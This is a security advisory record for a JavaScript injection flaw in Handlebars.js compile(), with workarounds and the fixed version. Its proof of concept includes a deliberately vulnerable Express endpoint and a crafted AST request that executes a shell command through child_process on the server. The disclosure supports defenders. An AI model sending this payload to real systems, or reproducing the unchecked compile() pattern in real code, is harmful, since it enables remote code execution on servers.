CVE-2026-33937: Handlebars Handlebars.js Has JavaScript Injection Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-2w6w-674q-4c4q",
  "modified" : "2026-03-27T21:52:17Z",
  "published" : "2026-03-27T18:19:58Z",
  "aliases" : [ "CVE-2026-33937" ],
  "summary" : "Handlebars.js has JavaScript Injection via AST Type Confusion",
  "details" : "## Summary\n\n`Handlebars.compile()` accepts a pre-parsed AST object in addition to a template string. The `value` field of a `NumberLiteral` AST node is emitted directly into the generated JavaScript without quoting or sanitization. An attacker who can supply a crafted AST to `compile()` can therefore inject and execute arbitrary JavaScript, leading to Remote Code Execution on the server.\n\n## Description\n\n`Handlebars.compile()` accepts either a template string or a pre-parsed AST. When an AST is supplied, the JavaScript code generator in `lib/handlebars/compiler/javascript-compiler.js` emits `NumberLiteral` values verbatim:\n\n```javascript\n// Simplified representation of the vulnerable code path:\n// NumberLiteral.value is appended to the generated code without escaping\ncompiledCode += numberLiteralNode.value;\n```\n\nBecause the value is not wrapped in quotes or otherwise sanitized, passing a string such as `{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //` as the `value` of a `NumberLiteral` causes the generated `eval`-ed code to break out of its intended context and execute arbitrary commands.\n\nAny endpoint that deserializes user-controlled JSON and passes the result directly to `Handlebars.compile()` is exploitable.\n\n## Proof of Concept\n\nServer-side Express application that passes `req.body.text` to `Handlebars.compile()`:\n\n\n```Javascript\nimport express from \"express\";\nimport Handlebars from \"handlebars\";\n\nconst app = express();\napp.use(express.json());\n\napp.post(\"/api/render\", (req, res) => {\n  let text = req.body.text;\n  let template = Handlebars.compile(text);\n  let result = template();\n  res.send(result);\n});\n\napp.listen(2123);\n```\n\n```\nPOST /api/render HTTP/1.1\nContent-Type: application/json\nHost: 127.0.0.1:2123\n\n{\n  \"text\": {\n    \"type\": \"Program\",\n    \"body\": [\n      {\n        \"type\": \"MustacheStatement\",\n        \"path\": {\n          \"type\": \"PathExpression\",\n          \"data\": false,\n          \"depth\": 0,\n          \"parts\": [\"lookup\"],\n          \"original\": \"lookup\",\n          \"loc\": null\n        },\n        \"params\": [\n          {\n            \"type\": \"PathExpression\",\n            \"data\": false,\n            \"depth\": 0,\n            \"parts\": [],\n            \"original\": \"this\",\n            \"loc\": null\n          },\n          {\n            \"type\": \"NumberLiteral\",\n            \"value\": \"{},{})) + process.getBuiltinModule('child_process').execFileSync('id').toString() //\",\n            \"original\": 1,\n            \"loc\": null\n          }\n        ],\n        \"escaped\": true,\n        \"strip\": { \"open\": false, \"close\": false },\n        \"loc\": null\n      }\n    ]\n  }\n}\n```\n\nThe response body will contain the output of the `id` command executed on the server.\n\n## Workarounds\n\n- **Validate input type** before calling `Handlebars.compile()`: ensure the argument is always a  `string`, never a plain object or JSON-deserialized value.\n  ```javascript\n  if (typeof templateInput !== 'string') {\n    throw new TypeError('Template must be a string');\n  }\n  ```\n- Use the Handlebars **runtime-only** build (`handlebars/runtime`) on the server if templates are  pre-compiled at build time; `compile()` will be unavailable.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "handlebars"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "4.0.0"
      }, {
        "fixed" : "4.7.9"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.7.8"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2w6w-674q-4c4q"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-33937"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/handlebars-lang/handlebars.js"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-843", "CWE-94" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-27T18:19:58Z",
    "nvd_published_at" : "2026-03-27T21:17:27Z"
  }
}